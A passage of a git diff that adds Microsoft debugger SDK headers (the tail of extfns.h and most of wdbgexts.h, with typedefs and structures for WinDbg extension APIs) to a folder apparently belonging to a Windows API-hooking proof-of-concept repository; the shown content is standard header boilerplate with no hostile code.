default + PSTR Variable, // Env Variable name + PSTR Buffer, // Buffer to receive the value in + ULONG BufferSize // size of buffer + ); + + + + + /*++ + + Structures defined that are used to pass data + between ext.dll & wmiTrace.dll debug extensions + + --*/ + + + +typedef enum _TANALYZE_RETURN{ + NO_TYPE, + PROCESS_END, + EXIT_STATUS, + DISK_READ_0_BYTES, + DISK_WRITE, + NT_STATUS_CODE, +}TANALYZE_RETURN; + + +typedef struct _CKCL_DATA{ + PVOID NextLogEvent; + CHAR * TAnalyzeString; + TANALYZE_RETURN TAnalyzeReturnType; +}CKCL_DATA, *PCKCL_DATA; + + +typedef struct _CKCL_LISTHEAD{ + PCKCL_DATA LogEventListHead; + HANDLE Heap; +}CKCL_LISTHEAD,*PCKCL_LISTHEAD; + + +#endif // _EXTFNS_H diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/wdbgexts.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/wdbgexts.h new file mode 100644 index 00000000..f2b36274 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/wdbgexts.h @@ -0,0 +1,2804 @@ +/*++ + +Copyright (c) Microsoft Corporation. All rights reserved. + +Module Name: + + wdbgexts.h + +Abstract: + + This file contains the necessary prototypes and data types for a user + to write a debugger extension DLL. This header file is also included + by the NT debuggers (WINDBG & KD). + + This header file must be included after "windows.h" and "dbghelp.h". + + Please see the NT DDK documentation for specific information about + how to write your own debugger extension DLL. + +Environment: + + Win32 only. + +Revision History: + +--*/ + +#ifndef _WDBGEXTS_ +#define _WDBGEXTS_ + +#if _MSC_VER > 1000 +#pragma once +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4115 4201 4204 4214 4221) + +// Maximum value of MAXIMUM_PROCESSORS for all platforms. +#define CROSS_PLATFORM_MAXIMUM_PROCESSORS 256 + +#if !defined(WDBGAPI) +#define WDBGAPI __stdcall +#endif + +#if !defined(WDBGAPIV) +#define WDBGAPIV __cdecl +#endif + +#ifndef _WINDEF_ +typedef CONST void *LPCVOID; +#endif + +#ifndef _ULONGLONG_ +typedef unsigned __int64 ULONGLONG; +typedef ULONGLONG *PULONGLONG; +#endif + +#ifndef __specstrings +// Should include SpecStrings.h to get proper definitions. +#define __field_ecount_opt(x) +#endif + +#define WDBGEXTS_MAXSIZE_T ((SIZE_T)~((SIZE_T)0)) + +typedef +VOID +(WDBGAPIV*PWINDBG_OUTPUT_ROUTINE)( + PCSTR lpFormat, + ... + ); + +typedef +ULONG_PTR +(WDBGAPI*PWINDBG_GET_EXPRESSION)( + PCSTR lpExpression + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_GET_EXPRESSION32)( + PCSTR lpExpression + ); + +typedef +ULONG64 +(WDBGAPI*PWINDBG_GET_EXPRESSION64)( + PCSTR lpExpression + ); + +typedef +VOID +(WDBGAPI*PWINDBG_GET_SYMBOL)( + PVOID offset, + PCHAR pchBuffer, + ULONG_PTR *pDisplacement + ); + +typedef +VOID +(WDBGAPI*PWINDBG_GET_SYMBOL32)( + ULONG offset, + PCHAR pchBuffer, + PULONG pDisplacement + ); + +typedef +VOID +(WDBGAPI*PWINDBG_GET_SYMBOL64)( + ULONG64 offset, + PCHAR pchBuffer, + PULONG64 pDisplacement + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_DISASM)( + ULONG_PTR *lpOffset, + PCSTR lpBuffer, + ULONG fShowEffectiveAddress + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_DISASM32)( + ULONG *lpOffset, + PCSTR lpBuffer, + ULONG fShowEffectiveAddress + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_DISASM64)( + ULONG64 *lpOffset, + PCSTR lpBuffer, + ULONG fShowEffectiveAddress + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_CHECK_CONTROL_C)( + VOID + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_READ_PROCESS_MEMORY_ROUTINE)( + ULONG_PTR offset, + PVOID lpBuffer, + ULONG cb, + PULONG lpcbBytesRead + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_READ_PROCESS_MEMORY_ROUTINE32)( + ULONG offset, + PVOID lpBuffer, + ULONG cb, + PULONG lpcbBytesRead + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_READ_PROCESS_MEMORY_ROUTINE64)( + ULONG64 offset, + PVOID lpBuffer, + ULONG cb, + PULONG lpcbBytesRead + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE)( + ULONG_PTR offset, + LPCVOID lpBuffer, + ULONG cb, + PULONG lpcbBytesWritten + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE32)( + ULONG offset, + LPCVOID lpBuffer, + ULONG cb, + PULONG lpcbBytesWritten + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE64)( + ULONG64 offset, + LPCVOID lpBuffer, + ULONG cb, + PULONG lpcbBytesWritten + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_GET_THREAD_CONTEXT_ROUTINE)( + ULONG Processor, + PCONTEXT lpContext, + ULONG cbSizeOfContext + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_SET_THREAD_CONTEXT_ROUTINE)( + ULONG Processor, + PCONTEXT lpContext, + ULONG cbSizeOfContext + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_IOCTL_ROUTINE)( + USHORT IoctlType, + PVOID lpvData, + ULONG cbSize + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_OLDKD_READ_PHYSICAL_MEMORY)( + ULONGLONG address, + PVOID buffer, + ULONG count, + PULONG bytesread + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_OLDKD_WRITE_PHYSICAL_MEMORY)( + ULONGLONG address, + PVOID buffer, + ULONG length, + PULONG byteswritten + ); + + +typedef struct _EXTSTACKTRACE { + ULONG FramePointer; + ULONG ProgramCounter; + ULONG ReturnAddress; + ULONG Args[4]; +} EXTSTACKTRACE, *PEXTSTACKTRACE; + +typedef struct _EXTSTACKTRACE32 { + ULONG FramePointer; + ULONG ProgramCounter; + ULONG ReturnAddress; + ULONG Args[4]; +} EXTSTACKTRACE32, *PEXTSTACKTRACE32; + +typedef struct _EXTSTACKTRACE64 { + ULONG64 FramePointer; + ULONG64 ProgramCounter; + ULONG64 ReturnAddress; + ULONG64 Args[4]; +} EXTSTACKTRACE64, *PEXTSTACKTRACE64; + + +typedef +ULONG +(WDBGAPI*PWINDBG_STACKTRACE_ROUTINE)( + ULONG FramePointer, + ULONG StackPointer, + ULONG ProgramCounter, + PEXTSTACKTRACE StackFrames, + ULONG Frames + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_STACKTRACE_ROUTINE32)( + ULONG FramePointer, + ULONG StackPointer, + ULONG ProgramCounter, + PEXTSTACKTRACE32 StackFrames, + ULONG Frames + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_STACKTRACE_ROUTINE64)( + ULONG64 FramePointer, + ULONG64 StackPointer, + ULONG64 ProgramCounter, + PEXTSTACKTRACE64 StackFrames, + ULONG Frames + ); + +typedef struct _WINDBG_EXTENSION_APIS { + ULONG nSize; + PWINDBG_OUTPUT_ROUTINE lpOutputRoutine; + PWINDBG_GET_EXPRESSION lpGetExpressionRoutine; + PWINDBG_GET_SYMBOL lpGetSymbolRoutine; + PWINDBG_DISASM lpDisasmRoutine; + PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine; + PWINDBG_READ_PROCESS_MEMORY_ROUTINE lpReadProcessMemoryRoutine; + PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE lpWriteProcessMemoryRoutine; + PWINDBG_GET_THREAD_CONTEXT_ROUTINE lpGetThreadContextRoutine; + PWINDBG_SET_THREAD_CONTEXT_ROUTINE lpSetThreadContextRoutine; + PWINDBG_IOCTL_ROUTINE lpIoctlRoutine; + PWINDBG_STACKTRACE_ROUTINE lpStackTraceRoutine; +} WINDBG_EXTENSION_APIS, *PWINDBG_EXTENSION_APIS; + +typedef struct _WINDBG_EXTENSION_APIS32 { + ULONG nSize; + PWINDBG_OUTPUT_ROUTINE lpOutputRoutine; + PWINDBG_GET_EXPRESSION32 lpGetExpressionRoutine; + PWINDBG_GET_SYMBOL32 lpGetSymbolRoutine; + PWINDBG_DISASM32 lpDisasmRoutine; + PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine; + PWINDBG_READ_PROCESS_MEMORY_ROUTINE32 lpReadProcessMemoryRoutine; + PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE32 lpWriteProcessMemoryRoutine; + PWINDBG_GET_THREAD_CONTEXT_ROUTINE lpGetThreadContextRoutine; + PWINDBG_SET_THREAD_CONTEXT_ROUTINE lpSetThreadContextRoutine; + PWINDBG_IOCTL_ROUTINE lpIoctlRoutine; + PWINDBG_STACKTRACE_ROUTINE32 lpStackTraceRoutine; +} WINDBG_EXTENSION_APIS32, *PWINDBG_EXTENSION_APIS32; + +typedef struct _WINDBG_EXTENSION_APIS64 { + ULONG nSize; + PWINDBG_OUTPUT_ROUTINE lpOutputRoutine; + PWINDBG_GET_EXPRESSION64 lpGetExpressionRoutine; + PWINDBG_GET_SYMBOL64 lpGetSymbolRoutine; + PWINDBG_DISASM64 lpDisasmRoutine; + PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine; + PWINDBG_READ_PROCESS_MEMORY_ROUTINE64 lpReadProcessMemoryRoutine; + PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE64 lpWriteProcessMemoryRoutine; + PWINDBG_GET_THREAD_CONTEXT_ROUTINE lpGetThreadContextRoutine; + PWINDBG_SET_THREAD_CONTEXT_ROUTINE lpSetThreadContextRoutine; + PWINDBG_IOCTL_ROUTINE lpIoctlRoutine; + PWINDBG_STACKTRACE_ROUTINE64 lpStackTraceRoutine; +} WINDBG_EXTENSION_APIS64, *PWINDBG_EXTENSION_APIS64; + + +typedef struct _WINDBG_OLD_EXTENSION_APIS { + ULONG nSize; + PWINDBG_OUTPUT_ROUTINE lpOutputRoutine; + PWINDBG_GET_EXPRESSION lpGetExpressionRoutine; + PWINDBG_GET_SYMBOL lpGetSymbolRoutine; + PWINDBG_DISASM lpDisasmRoutine; + PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine; +} WINDBG_OLD_EXTENSION_APIS, *PWINDBG_OLD_EXTENSION_APIS; + +typedef struct _WINDBG_OLDKD_EXTENSION_APIS { + ULONG nSize; + PWINDBG_OUTPUT_ROUTINE lpOutputRoutine; + PWINDBG_GET_EXPRESSION32 lpGetExpressionRoutine; + PWINDBG_GET_SYMBOL32 lpGetSymbolRoutine; + PWINDBG_DISASM32 lpDisasmRoutine; + PWINDBG_CHECK_CONTROL_C lpCheckControlCRoutine; + PWINDBG_READ_PROCESS_MEMORY_ROUTINE32 lpReadVirtualMemRoutine; + PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE32 lpWriteVirtualMemRoutine; + PWINDBG_OLDKD_READ_PHYSICAL_MEMORY lpReadPhysicalMemRoutine; + PWINDBG_OLDKD_WRITE_PHYSICAL_MEMORY lpWritePhysicalMemRoutine; +} WINDBG_OLDKD_EXTENSION_APIS, *PWINDBG_OLDKD_EXTENSION_APIS; + +typedef +VOID +(WDBGAPI*PWINDBG_OLD_EXTENSION_ROUTINE)( + ULONG dwCurrentPc, + PWINDBG_EXTENSION_APIS lpExtensionApis, + PCSTR lpArgumentString + ); + +typedef +VOID +(WDBGAPI*PWINDBG_EXTENSION_ROUTINE)( + HANDLE hCurrentProcess, + HANDLE hCurrentThread, + ULONG dwCurrentPc, + ULONG dwProcessor, + PCSTR lpArgumentString + ); + +typedef +VOID +(WDBGAPI*PWINDBG_EXTENSION_ROUTINE32)( + HANDLE hCurrentProcess, + HANDLE hCurrentThread, + ULONG dwCurrentPc, + ULONG dwProcessor, + PCSTR lpArgumentString + ); + +typedef +VOID +(WDBGAPI*PWINDBG_EXTENSION_ROUTINE64)( + HANDLE hCurrentProcess, + HANDLE hCurrentThread, + ULONG64 dwCurrentPc, + ULONG dwProcessor, + PCSTR lpArgumentString + ); + +typedef +VOID +(WDBGAPI*PWINDBG_OLDKD_EXTENSION_ROUTINE)( + ULONG dwCurrentPc, + PWINDBG_OLDKD_EXTENSION_APIS lpExtensionApis, + PCSTR lpArgumentString + ); + +typedef +VOID +(WDBGAPI*PWINDBG_EXTENSION_DLL_INIT)( + PWINDBG_EXTENSION_APIS lpExtensionApis, + USHORT MajorVersion, + USHORT MinorVersion + ); + +typedef +VOID +(WDBGAPI*PWINDBG_EXTENSION_DLL_INIT32)( + PWINDBG_EXTENSION_APIS32 lpExtensionApis, + USHORT MajorVersion, + USHORT MinorVersion + ); + +typedef +VOID +(WDBGAPI*PWINDBG_EXTENSION_DLL_INIT64)( + PWINDBG_EXTENSION_APIS64 lpExtensionApis, + USHORT MajorVersion, + USHORT MinorVersion + ); + +typedef +ULONG +(WDBGAPI*PWINDBG_CHECK_VERSION)( + VOID + ); + +#define EXT_API_VERSION_NUMBER 5 +#define EXT_API_VERSION_NUMBER32 5 +#define EXT_API_VERSION_NUMBER64 6 + +typedef struct EXT_API_VERSION { + USHORT MajorVersion; + USHORT MinorVersion; + USHORT Revision; + USHORT Reserved; +} EXT_API_VERSION, *LPEXT_API_VERSION; + +typedef +LPEXT_API_VERSION +(WDBGAPI*PWINDBG_EXTENSION_API_VERSION)( + VOID + ); + +#define IG_KD_CONTEXT 1 +#define IG_READ_CONTROL_SPACE 2 +#define IG_WRITE_CONTROL_SPACE 3 +#define IG_READ_IO_SPACE 4 +#define IG_WRITE_IO_SPACE 5 +#define IG_READ_PHYSICAL 6 +#define IG_WRITE_PHYSICAL 7 +#define IG_READ_IO_SPACE_EX 8 +#define IG_WRITE_IO_SPACE_EX 9 +#define IG_KSTACK_HELP 10 // obsolete +#define IG_SET_THREAD 11 +#define IG_READ_MSR 12 +#define IG_WRITE_MSR 13 +#define IG_GET_DEBUGGER_DATA 14 +#define IG_GET_KERNEL_VERSION 15 +#define IG_RELOAD_SYMBOLS 16 +#define IG_GET_SET_SYMPATH 17 +#define IG_GET_EXCEPTION_RECORD 18 +#define IG_IS_PTR64 19 +#define IG_GET_BUS_DATA 20 +#define IG_SET_BUS_DATA 21 +#define IG_DUMP_SYMBOL_INFO 22 +#define IG_LOWMEM_CHECK 23 +#define IG_SEARCH_MEMORY 24 +#define IG_GET_CURRENT_THREAD 25 +#define IG_GET_CURRENT_PROCESS 26 +#define IG_GET_TYPE_SIZE 27 +#define IG_GET_CURRENT_PROCESS_HANDLE 28 +#define IG_GET_INPUT_LINE 29 +#define IG_GET_EXPRESSION_EX 30 +#define IG_TRANSLATE_VIRTUAL_TO_PHYSICAL 31 +#define IG_GET_CACHE_SIZE 32 +#define IG_READ_PHYSICAL_WITH_FLAGS 33 +#define IG_WRITE_PHYSICAL_WITH_FLAGS 34 +#define IG_POINTER_SEARCH_PHYSICAL 35 +#define IG_OBSOLETE_PLACEHOLDER_36 36 +#define IG_GET_THREAD_OS_INFO 37 +#define IG_GET_CLR_DATA_INTERFACE 38 +#define IG_MATCH_PATTERN_A 39 +#define IG_FIND_FILE 40 +#define IG_TYPED_DATA_OBSOLETE 41 +#define IG_QUERY_TARGET_INTERFACE 42 +#define IG_TYPED_DATA 43 +#define IG_DISASSEMBLE_BUFFER 44 +#define IG_GET_ANY_MODULE_IN_RANGE 45 +#define IG_VIRTUAL_TO_PHYSICAL 46 +#define IG_PHYSICAL_TO_VIRTUAL 47 +#define IG_GET_CONTEXT_EX 48 + +#define IG_GET_TEB_ADDRESS 128 +#define IG_GET_PEB_ADDRESS 129 + +typedef struct _PROCESSORINFO { + USHORT Processor; // current processor + USHORT NumberProcessors; // total number of processors +} PROCESSORINFO, *PPROCESSORINFO; + +typedef struct _READCONTROLSPACE { + USHORT Processor; + ULONG Address; + ULONG BufLen; + UCHAR Buf[1]; +} READCONTROLSPACE, *PREADCONTROLSPACE; + +typedef struct _READCONTROLSPACE32 { + USHORT Processor; + ULONG Address; + ULONG BufLen; + UCHAR Buf[1]; +} READCONTROLSPACE32, *PREADCONTROLSPACE32; + +typedef struct _READCONTROLSPACE64 { + USHORT Processor; + ULONG64 Address; + ULONG BufLen; + UCHAR Buf[1]; +} READCONTROLSPACE64, *PREADCONTROLSPACE64; + +typedef struct _IOSPACE { + ULONG Address; + ULONG Length; // 1, 2, or 4 bytes + ULONG Data; +} IOSPACE, *PIOSPACE; + +typedef struct _IOSPACE32 { + ULONG Address; + ULONG Length; // 1, 2, or 4 bytes + ULONG Data; +} IOSPACE32, *PIOSPACE32; + +typedef struct _IOSPACE64 { + ULONG64 Address; + ULONG Length; // 1, 2, or 4 bytes + ULONG Data; +} IOSPACE64, *PIOSPACE64; + +typedef struct _IOSPACE_EX { + ULONG Address; + ULONG Length; // 1, 2, or 4 bytes + ULONG Data; + ULONG InterfaceType; + ULONG BusNumber; + ULONG AddressSpace; +} IOSPACE_EX, *PIOSPACE_EX; + +typedef struct _IOSPACE_EX32 { + ULONG Address; + ULONG Length; // 1, 2, or 4 bytes + ULONG Data; + ULONG InterfaceType; + ULONG BusNumber; + ULONG AddressSpace; +} IOSPACE_EX32, *PIOSPACE_EX32; + +typedef struct _IOSPACE_EX64 { + ULONG64 Address; + ULONG Length; // 1, 2, or 4 bytes + ULONG Data; + ULONG InterfaceType; + ULONG BusNumber; + ULONG AddressSpace; +} IOSPACE_EX64, *PIOSPACE_EX64; + +typedef struct _GETSETBUSDATA { + ULONG BusDataType; + ULONG BusNumber; + ULONG SlotNumber; + PVOID Buffer; + ULONG Offset; + ULONG Length; +} BUSDATA, *PBUSDATA; + +typedef struct _SEARCHMEMORY { + ULONG64 SearchAddress; + ULONG64 SearchLength; + ULONG64 FoundAddress; + ULONG PatternLength; + PVOID Pattern; +} SEARCHMEMORY, *PSEARCHMEMORY; + +typedef struct _PHYSICAL { + ULONGLONG Address; + ULONG BufLen; + UCHAR Buf[1]; +} PHYSICAL, *PPHYSICAL; + +#define PHYS_FLAG_DEFAULT 0 +#define PHYS_FLAG_CACHED 1 +#define PHYS_FLAG_UNCACHED 2 +#define PHYS_FLAG_WRITE_COMBINED 3 + +typedef struct _PHYSICAL_WITH_FLAGS { + ULONGLONG Address; + ULONG BufLen; + ULONG Flags; + UCHAR Buf[1]; +} PHYSICAL_WITH_FLAGS, *PPHYSICAL_WITH_FLAGS; + +typedef struct _READ_WRITE_MSR { + ULONG Msr; + LONGLONG Value; +} READ_WRITE_MSR, *PREAD_WRITE_MSR; + +typedef struct _GET_SET_SYMPATH { + PCSTR Args; // args to !reload command + PSTR Result; // returns new path + int Length; // Length of result buffer +} GET_SET_SYMPATH, *PGET_SET_SYMPATH; + +typedef struct _GET_TEB_ADDRESS { + ULONGLONG Address; +} GET_TEB_ADDRESS, *PGET_TEB_ADDRESS; + +typedef struct _GET_PEB_ADDRESS { + ULONG64 CurrentThread; + ULONGLONG Address; +} GET_PEB_ADDRESS, *PGET_PEB_ADDRESS; + +typedef struct _GET_CURRENT_THREAD_ADDRESS { + ULONG Processor; + ULONG64 Address; +} GET_CURRENT_THREAD_ADDRESS, *PGET_CURRENT_THREAD_ADDRESS; + +typedef struct _GET_CURRENT_PROCESS_ADDRESS { + ULONG Processor; + ULONG64 CurrentThread; + ULONG64 Address; +} GET_CURRENT_PROCESS_ADDRESS, *PGET_CURRENT_PROCESS_ADDRESS; + +typedef struct _GET_INPUT_LINE { + PCSTR Prompt; + PSTR Buffer; + ULONG BufferSize; + ULONG InputSize; +} GET_INPUT_LINE, *PGET_INPUT_LINE; + +typedef struct _GET_EXPRESSION_EX { + PCSTR Expression; + PCSTR Remainder; + ULONG64 Value; +} GET_EXPRESSION_EX, *PGET_EXPRESSION_EX; + +typedef struct _TRANSLATE_VIRTUAL_TO_PHYSICAL { + ULONG64 Virtual; + ULONG64 Physical; +} TRANSLATE_VIRTUAL_TO_PHYSICAL, *PTRANSLATE_VIRTUAL_TO_PHYSICAL; + +typedef struct _VIRTUAL_TO_PHYSICAL { + ULONG Status; + ULONG Size; + ULONG64 PdeAddress; + ULONG64 Virtual; + ULONG64 Physical; +} VIRTUAL_TO_PHYSICAL, *PVIRTUAL_TO_PHYSICAL; + +typedef struct _PHYSICAL_TO_VIRTUAL { + ULONG Status; + ULONG Size; + ULONG64 PdeAddress; +} PHYSICAL_TO_VIRTUAL, *PPHYSICAL_TO_VIRTUAL; + +typedef struct _GET_CONTEXT_EX { + ULONG Status; + ULONG ContextSize; + PVOID pContext; +} GET_CONTEXT_EX, *PGET_CONTEXT_EX; + +#define PTR_SEARCH_PHYS_ALL_HITS 0x00000001 +#define PTR_SEARCH_PHYS_PTE 0x00000002 +#define PTR_SEARCH_PHYS_RANGE_CHECK_ONLY 0x00000004 + +#define PTR_SEARCH_PHYS_SIZE_SHIFT 3 +#define PTR_SEARCH_PHYS_SIZE_MASK (0xf << PTR_SEARCH_PHYS_SIZE_SHIFT) + +#define PTR_SEARCH_NO_SYMBOL_CHECK 0x80000000 + +typedef struct _POINTER_SEARCH_PHYSICAL { + IN ULONG64 Offset; + IN ULONG64 Length; + IN ULONG64 PointerMin; + IN ULONG64 PointerMax; + IN ULONG Flags; + OUT PULONG64 MatchOffsets; + IN ULONG MatchOffsetsSize; + OUT ULONG MatchOffsetsCount; +} POINTER_SEARCH_PHYSICAL, *PPOINTER_SEARCH_PHYSICAL; + +typedef struct _WDBGEXTS_THREAD_OS_INFO { + // System thread ID input. + ULONG ThreadId; + + // + // Output information. + // + + // Exit status is STILL_ACTIVE by default. + ULONG ExitStatus; + // Priority class is zero if not known. + ULONG PriorityClass; + // Priority defaults to normal. + ULONG Priority; + // Times can be zero if not known. + ULONG64 CreateTime; + ULONG64 ExitTime; + ULONG64 KernelTime; + ULONG64 UserTime; + // Start offset is zero if not known. + ULONG64 StartOffset; + // Affinity is zero if not known. + ULONG64 Affinity; +} WDBGEXTS_THREAD_OS_INFO, *PWDBGEXTS_THREAD_OS_INFO; + +typedef struct _WDBGEXTS_CLR_DATA_INTERFACE { + // Interface requested. + const IID* Iid; + // Interface pointer return. + PVOID Iface; +} WDBGEXTS_CLR_DATA_INTERFACE, *PWDBGEXTS_CLR_DATA_INTERFACE; + +typedef struct _EXT_MATCH_PATTERN_A { + IN PCSTR Str; + IN PCSTR Pattern; + IN ULONG CaseSensitive; +} EXT_MATCH_PATTERN_A, *PEXT_MATCH_PATTERN_A; + +#define EXT_FIND_FILE_ALLOW_GIVEN_PATH 0x00000001 + +typedef struct _EXT_FIND_FILE { + IN PCWSTR FileName; + IN ULONG64 IndexedSize; + IN ULONG ImageTimeDateStamp; + // Pass zero to ignore. + IN ULONG ImageCheckSum; + IN OPTIONAL PVOID ExtraInfo; + IN ULONG ExtraInfoSize; + IN ULONG Flags; + // Free with UnmapViewOfFile. + OUT PVOID FileMapping; + OUT ULONG64 FileMappingSize; + // Free with CloseHandle. + OUT HANDLE FileHandle; + // Must be at least MAX_PATH characters if set. + OUT OPTIONAL PWSTR FoundFileName; + OUT ULONG FoundFileNameChars; +} EXT_FIND_FILE, *PEXT_FIND_FILE; + +#define DEBUG_TYPED_DATA_IS_IN_MEMORY 0x00000001 +#define DEBUG_TYPED_DATA_PHYSICAL_DEFAULT 0x00000002 +#define DEBUG_TYPED_DATA_PHYSICAL_CACHED 0x00000004 +#define DEBUG_TYPED_DATA_PHYSICAL_UNCACHED 0x00000006 +#define DEBUG_TYPED_DATA_PHYSICAL_WRITE_COMBINED 0x00000008 + +// Mask for all physical flags. +#define DEBUG_TYPED_DATA_PHYSICAL_MEMORY 0x0000000e + +typedef struct _DEBUG_TYPED_DATA +{ + ULONG64 ModBase; + ULONG64 Offset; + ULONG64 EngineHandle; + ULONG64 Data; + ULONG Size; + ULONG Flags; + ULONG TypeId; + ULONG BaseTypeId; + ULONG Tag; + ULONG Register; + ULONG64 Internal[9]; +} DEBUG_TYPED_DATA, *PDEBUG_TYPED_DATA; + +typedef enum _EXT_TDOP { + EXT_TDOP_COPY, + EXT_TDOP_RELEASE, + EXT_TDOP_SET_FROM_EXPR, + EXT_TDOP_SET_FROM_U64_EXPR, + EXT_TDOP_GET_FIELD, + EXT_TDOP_EVALUATE, + EXT_TDOP_GET_TYPE_NAME, + EXT_TDOP_OUTPUT_TYPE_NAME, + EXT_TDOP_OUTPUT_SIMPLE_VALUE, + EXT_TDOP_OUTPUT_FULL_VALUE, + EXT_TDOP_HAS_FIELD, + EXT_TDOP_GET_FIELD_OFFSET, + EXT_TDOP_GET_ARRAY_ELEMENT, + EXT_TDOP_GET_DEREFERENCE, + EXT_TDOP_GET_TYPE_SIZE, + EXT_TDOP_OUTPUT_TYPE_DEFINITION, + EXT_TDOP_GET_POINTER_TO, + EXT_TDOP_SET_FROM_TYPE_ID_AND_U64, + EXT_TDOP_SET_PTR_FROM_TYPE_ID_AND_U64, + + EXT_TDOP_COUNT +} EXT_TDOP; + +// EXT_TDF physical flags must match DEBUG_TYPED. +#define EXT_TDF_PHYSICAL_DEFAULT 0x00000002 +#define EXT_TDF_PHYSICAL_CACHED 0x00000004 +#define EXT_TDF_PHYSICAL_UNCACHED 0x00000006 +#define EXT_TDF_PHYSICAL_WRITE_COMBINED 0x00000008 +#define EXT_TDF_PHYSICAL_MEMORY 0x0000000e + +// NOTE: Every DEBUG_TYPED_DATA should be released +// via EXT_TDOP_RELEASE when it is no longer needed. +typedef struct _EXT_TYPED_DATA { + IN EXT_TDOP Operation; + IN ULONG Flags; + IN DEBUG_TYPED_DATA InData; + OUT DEBUG_TYPED_DATA OutData; + IN ULONG InStrIndex; + IN ULONG In32; + OUT ULONG Out32; + IN ULONG64 In64; + OUT ULONG64 Out64; + OUT ULONG StrBufferIndex; + IN ULONG StrBufferChars; + OUT ULONG StrCharsNeeded; + IN OUT ULONG DataBufferIndex; + IN ULONG DataBufferBytes; + OUT ULONG DataBytesNeeded; + OUT HRESULT Status; + // Must be zeroed. + ULONG64 Reserved[8]; +} EXT_TYPED_DATA, *PEXT_TYPED_DATA; + +typedef struct _WDBGEXTS_QUERY_INTERFACE { + // Interface requested. + const IID* Iid; + // Interface pointer return. + PVOID Iface; +} WDBGEXTS_QUERY_INTERFACE, *PWDBGEXTS_QUERY_INTERFACE; + +#define WDBGEXTS_ADDRESS_DEFAULT 0x00000000 +#define WDBGEXTS_ADDRESS_SEG16 0x00000001 +#define WDBGEXTS_ADDRESS_SEG32 0x00000002 +#define WDBGEXTS_ADDRESS_RESERVED0 0x80000000 + +typedef struct _WDBGEXTS_DISASSEMBLE_BUFFER { + IN ULONG64 InOffset; + OUT ULONG64 OutOffset; + // AddrFlags are from above. + IN ULONG AddrFlags; + // FormatFlags are from dbgeng's DEBUG_DISASM_*. + IN ULONG FormatFlags; + IN ULONG DataBufferBytes; + IN ULONG DisasmBufferChars; + IN OPTIONAL PVOID DataBuffer; + OUT PWSTR DisasmBuffer; + IN ULONG64 Reserved0[3]; +} WDBGEXTS_DISASSEMBLE_BUFFER, *PWDBGEXTS_DISASSEMBLE_BUFFER; + +typedef struct _WDBGEXTS_MODULE_IN_RANGE { + IN ULONG64 Start; + // Inclusive ending offset. + IN ULONG64 End; + OUT ULONG64 FoundModBase; + OUT ULONG FoundModSize; +} WDBGEXTS_MODULE_IN_RANGE, *PWDBGEXTS_MODULE_IN_RANGE; + +// +// If DBGKD_VERS_FLAG_DATA is set in Flags, info should be retrieved from +// the KDDEBUGGER_DATA block rather than from the DBGKD_GET_VERSION +// packet. The data will remain in the version packet for a while to +// reduce compatibility problems. +// + +#define DBGKD_VERS_FLAG_MP 0x0001 // kernel is MP built +#define DBGKD_VERS_FLAG_DATA 0x0002 // DebuggerDataList is valid +#define DBGKD_VERS_FLAG_PTR64 0x0004 // native pointers are 64 bits +#define DBGKD_VERS_FLAG_NOMM 0x0008 // No MM - don't decode PTEs +#define DBGKD_VERS_FLAG_HSS 0x0010 // hardware stepping support +#define DBGKD_VERS_FLAG_PARTITIONS 0x0020 // multiple OS partitions exist + +#define KDBG_TAG 'GBDK' + +// +// KD version MajorVersion high-byte identifiers. +// + +typedef enum _DBGKD_MAJOR_TYPES +{ + DBGKD_MAJOR_NT, + DBGKD_MAJOR_XBOX, + DBGKD_MAJOR_BIG, + DBGKD_MAJOR_EXDI, + DBGKD_MAJOR_NTBD, + DBGKD_MAJOR_EFI, + DBGKD_MAJOR_TNT, + DBGKD_MAJOR_SINGULARITY, + DBGKD_MAJOR_HYPERVISOR, + DBGKD_MAJOR_MIDORI, + DBGKD_MAJOR_COUNT +} DBGKD_MAJOR_TYPES; + +#define DBGKD_MAJOR_TYPE(MajorVersion) \ + ((DBGKD_MAJOR_TYPES)((MajorVersion) >> 8)) + + +// ********************************************************************** +// DO NOT CHANGE THESE 32 BIT STRUCTURES! +// ONLY MAKE CHAGES TO THE 64 BIT VERSION BELOW!! +// ********************************************************************** + +// +// The following structure has changed in more than pointer size. +// +// This is the version packet for pre-NT5 Beta 2 systems. +// For now, it is also still used on x86 +// +typedef struct _DBGKD_GET_VERSION32 { + USHORT MajorVersion; + USHORT MinorVersion; + USHORT ProtocolVersion; + USHORT Flags; + ULONG KernBase; + ULONG PsLoadedModuleList; + + USHORT MachineType; + + // + // help for walking stacks with user callbacks: + // + + // + // The address of the thread structure 